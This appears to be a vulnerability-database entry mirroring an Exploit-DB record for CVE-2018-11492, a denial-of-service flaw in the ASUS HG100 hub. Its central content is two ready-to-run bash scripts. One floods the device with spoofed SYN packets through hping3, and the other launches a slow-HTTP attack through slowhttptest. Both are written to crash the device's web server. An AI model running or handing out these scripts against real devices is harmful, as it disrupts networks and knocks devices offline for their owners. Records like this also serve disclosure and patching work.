ID
VAR-E-201904-0015
CVE
| cve_id: | CVE-2018-11492 | Trust: 1.5 |
EDB ID
46720
TITLE
ASUS HG100 - Denial of Service - Hardware dos Exploit
Trust: 0.6
DESCRIPTION
ASUS HG100 - Denial of Service. CVE-2018-11492 . dos exploit for Hardware platform
Trust: 0.6
AFFECTED PRODUCTS
| vendor: | asus | model: | hg100 | scope: | - | version: | - | Trust: 2.1 |
EXPLOIT
# Exploit Title:ASUS HG100 devices denial of service(DOS) via IPv4 packets/SlowHTTPDOS
# Date: 2019-04-14 # Exploit Author: YinT Wang;
# Vendor Homepage: www.asus.com
# Version: Hardware version: HG100 、Firmware version: 1.05.12
# Tested on: Currnet 1.05.12
# CVE : CVE-2018-11492
1. Description
The attack at same Local-Network-area could crash the device via the Hping3 or Slowhttptest(which is not include in the CVE-2018-11492).
2.Proof of Concept
Just Execute the following script in kali which could crash the devices
1. IPv4 packet and in result of devices crash.which written in linux script.
#needed to co-operate with hping3 tool
#with the time period at least 220s which could cause web server of HG100 devices crash
#!/bin/bash
read -p "enter the ip of HG100 here " url
hping3 -V -c 10000 -S -w 64 --flood --rand-source $url
sleep 220
echo "Hping3 –V –c 10000 –S –w 64 –flood –rand-source $url time 220s"
exit 0
2.Slowhttp test and caused the devices crash.which written in linux script.
#needed to co-operate with slowhttptest tool
#with the time period 600s which could cause web server of HG100 devices crash
#!/bin/bash
read -p "enter the ip of HG100 with port here ex: http://x.x.x.x:123 " url
slowhttptest -H -R -c 10000 -l 600 -u $url
sleep 600
echo "slowhttptest -H -R -c 10000 -l 600 -u $url time 600s"
exit 0
Trust: 1.0
EXPLOIT LANGUAGE
sh
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
Denial of Service
Trust: 1.6
TAGS
| tag: | Denial of Service (DoS) | Trust: 1.0 |
| tag: | exploit | Trust: 0.5 |
| tag: | denial of service | Trust: 0.5 |
CREDITS
YinT Wang
Trust: 0.6
EXTERNAL IDS
| db: | EXPLOIT-DB | id: | 46720 | Trust: 1.6 |
| db: | NVD | id: | CVE-2018-11492 | Trust: 1.5 |
| db: | EDBNET | id: | 101342 | Trust: 0.6 |
| db: | PACKETSTORM | id: | 152542 | Trust: 0.5 |
REFERENCES
| url: | https://nvd.nist.gov/vuln/detail/cve-2018-11492 | Trust: 1.5 |
| url: | https://www.exploit-db.com/exploits/46720/ | Trust: 0.6 |
SOURCES
| db: | PACKETSTORM | id: | 152542 |
| db: | EXPLOIT-DB | id: | 46720 |
| db: | EDBNET | id: | 101342 |
LAST UPDATE DATE
2022-07-27T09:42:14.055000+00:00
SOURCES RELEASE DATE
| db: | PACKETSTORM | id: | 152542 | date: | 2019-04-17T17:17:51 |
| db: | EXPLOIT-DB | id: | 46720 | date: | 2019-04-17T00:00:00 |
| db: | EDBNET | id: | 101342 | date: | 2019-04-17T00:00:00 |